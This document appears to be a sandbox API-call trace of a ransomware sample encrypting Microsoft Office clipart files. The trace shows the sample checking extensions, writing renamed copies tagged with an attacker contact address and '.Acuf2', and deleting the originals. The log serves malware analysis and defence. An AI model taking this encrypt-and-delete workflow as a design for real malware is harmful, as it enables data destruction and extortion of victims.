	[0268.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63
	[0268.136] lstrlenW (lpString=".zip") returned 4
	[0268.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.136] lstrlenW (lpString=".rar") returned 4
	[0268.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.136] lstrlenW (lpString=".bz2") returned 4
	[0268.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.136] lstrlenW (lpString=".7z") returned 3
	[0268.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63
	[0268.136] lstrlenW (lpString=".dbf") returned 4
	[0268.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63
	[0268.137] lstrlenW (lpString=".1cd") returned 4
	[0268.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63
	[0268.137] lstrlenW (lpString=".jpg") returned 4
	[0268.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.137] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=6016) returned 1
	[0268.137] CloseHandle (hObject=0x370) returned 1
	[0268.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x20
	[0268.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.139] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.139] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0268.139] GetLastError () returned 0x0
	[0268.139] ReadFile (in: hFile=0x370, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1780, lpOverlapped=0x0) returned 1
	[0268.149] WriteFile (in: hFile=0x36c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1790, lpOverlapped=0x0) returned 1
	[0268.150] ReadFile (in: hFile=0x370, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.150] WriteFile (in: hFile=0x36c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.150] SetEndOfFile (hFile=0x36c) returned 1
	[0268.150] CloseHandle (hObject=0x36c) returned 1
	[0268.151] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.151] SetEndOfFile (hFile=0x370) returned 1
	[0268.155] CloseHandle (hObject=0x370) returned 1
	[0268.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 1
	[0268.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63
	[0268.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63
	[0268.156] lstrlenW (lpString=".doc") returned 4
	[0268.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.157] lstrlenW (lpString=".docx") returned 5
	[0268.157] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.157] lstrlenW (lpString=".pdf") returned 4
	[0268.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.157] lstrlenW (lpString=".xls") returned 4
	[0268.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.157] lstrlenW (lpString=".xlsx") returned 5
	[0268.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.157] lstrlenW (lpString=".ppt") returned 4
	[0268.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63
	[0268.157] lstrlenW (lpString=".zip") returned 4
	[0268.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.157] lstrlenW (lpString=".rar") returned 4
	[0268.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.157] lstrlenW (lpString=".bz2") returned 4
	[0268.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.157] lstrlenW (lpString=".7z") returned 3
	[0268.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63
	[0268.157] lstrlenW (lpString=".dbf") returned 4
	[0268.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63
	[0268.157] lstrlenW (lpString=".1cd") returned 4
	[0268.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63
	[0268.157] lstrlenW (lpString=".jpg") returned 4
	[0268.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.158] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=7296) returned 1
	[0268.158] CloseHandle (hObject=0x370) returned 1
	[0268.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x20
	[0268.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.158] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.158] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0268.159] GetLastError () returned 0x0
	[0268.159] ReadFile (in: hFile=0x370, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1c80, lpOverlapped=0x0) returned 1
	[0268.172] WriteFile (in: hFile=0x36c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1c90, lpOverlapped=0x0) returned 1
	[0268.173] ReadFile (in: hFile=0x370, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.173] WriteFile (in: hFile=0x36c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.173] SetEndOfFile (hFile=0x36c) returned 1
	[0268.173] CloseHandle (hObject=0x36c) returned 1
	[0268.174] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.174] SetEndOfFile (hFile=0x370) returned 1
	[0268.176] CloseHandle (hObject=0x370) returned 1
	[0268.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 1
	[0268.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63
	[0268.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63
	[0268.183] lstrlenW (lpString=".doc") returned 4
	[0268.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.183] lstrlenW (lpString=".docx") returned 5
	[0268.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.183] lstrlenW (lpString=".pdf") returned 4
	[0268.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.183] lstrlenW (lpString=".xls") returned 4
	[0268.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.183] lstrlenW (lpString=".xlsx") returned 5
	[0268.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.183] lstrlenW (lpString=".ppt") returned 4
	[0268.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63
	[0268.183] lstrlenW (lpString=".zip") returned 4
	[0268.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.183] lstrlenW (lpString=".rar") returned 4
	[0268.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.183] lstrlenW (lpString=".bz2") returned 4
	[0268.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.183] lstrlenW (lpString=".7z") returned 3
	[0268.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63
	[0268.183] lstrlenW (lpString=".dbf") returned 4
	[0268.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63
	[0268.183] lstrlenW (lpString=".1cd") returned 4
	[0268.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63
	[0268.184] lstrlenW (lpString=".jpg") returned 4
	[0268.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.184] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=26706) returned 1
	[0268.184] CloseHandle (hObject=0x36c) returned 1
	[0268.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x20
	[0268.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0268.184] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.184] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0268.185] GetLastError () returned 0x0
	[0268.185] ReadFile (in: hFile=0x36c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x6852, lpOverlapped=0x0) returned 1
	[0268.211] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x6860, lpOverlapped=0x0) returned 1
	[0268.238] ReadFile (in: hFile=0x36c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.238] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.238] SetEndOfFile (hFile=0x220) returned 1
	[0268.238] CloseHandle (hObject=0x220) returned 1
	[0268.239] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.239] SetEndOfFile (hFile=0x36c) returned 1
	[0268.241] CloseHandle (hObject=0x36c) returned 1
	[0268.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 1
	[0268.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63
	[0268.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63
	[0268.241] lstrlenW (lpString=".doc") returned 4
	[0268.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.241] lstrlenW (lpString=".docx") returned 5
	[0268.241] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.241] lstrlenW (lpString=".pdf") returned 4
	[0268.241] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.241] lstrlenW (lpString=".xls") returned 4
	[0268.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.242] lstrlenW (lpString=".xlsx") returned 5
	[0268.242] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.242] lstrlenW (lpString=".ppt") returned 4
	[0268.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63
	[0268.242] lstrlenW (lpString=".zip") returned 4
	[0268.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.242] lstrlenW (lpString=".rar") returned 4
	[0268.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.242] lstrlenW (lpString=".bz2") returned 4
	[0268.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.242] lstrlenW (lpString=".7z") returned 3
	[0268.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63
	[0268.242] lstrlenW (lpString=".dbf") returned 4
	[0268.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63
	[0268.242] lstrlenW (lpString=".1cd") returned 4
	[0268.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63
	[0268.242] lstrlenW (lpString=".jpg") returned 4
	[0268.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.270] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=23300) returned 1
	[0268.278] CloseHandle (hObject=0x36c) returned 1
	[0268.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x20
	[0268.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0268.278] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.278] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0268.282] GetLastError () returned 0x0
	[0268.282] ReadFile (in: hFile=0x36c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x5b04, lpOverlapped=0x0) returned 1
	[0268.285] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x5b10, lpOverlapped=0x0) returned 1
	[0268.286] ReadFile (in: hFile=0x36c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.286] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.286] SetEndOfFile (hFile=0x220) returned 1
	[0268.286] CloseHandle (hObject=0x220) returned 1
	[0268.286] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.286] SetEndOfFile (hFile=0x36c) returned 1
	[0268.288] CloseHandle (hObject=0x36c) returned 1
	[0268.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 1
	[0268.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63
	[0268.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63
	[0268.289] lstrlenW (lpString=".doc") returned 4
	[0268.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.289] lstrlenW (lpString=".docx") returned 5
	[0268.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.289] lstrlenW (lpString=".pdf") returned 4
	[0268.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.289] lstrlenW (lpString=".xls") returned 4
	[0268.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.289] lstrlenW (lpString=".xlsx") returned 5
	[0268.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.289] lstrlenW (lpString=".ppt") returned 4
	[0268.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63
	[0268.289] lstrlenW (lpString=".zip") returned 4
	[0268.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.289] lstrlenW (lpString=".rar") returned 4
	[0268.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.289] lstrlenW (lpString=".bz2") returned 4
	[0268.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.289] lstrlenW (lpString=".7z") returned 3
	[0268.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63
	[0268.290] lstrlenW (lpString=".dbf") returned 4
	[0268.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63
	[0268.290] lstrlenW (lpString=".1cd") returned 4
	[0268.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63
	[0268.290] lstrlenW (lpString=".jpg") returned 4
	[0268.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.473] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1158) returned 1
	[0268.480] CloseHandle (hObject=0x38c) returned 1
	[0268.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 0x20
	[0268.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.497] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
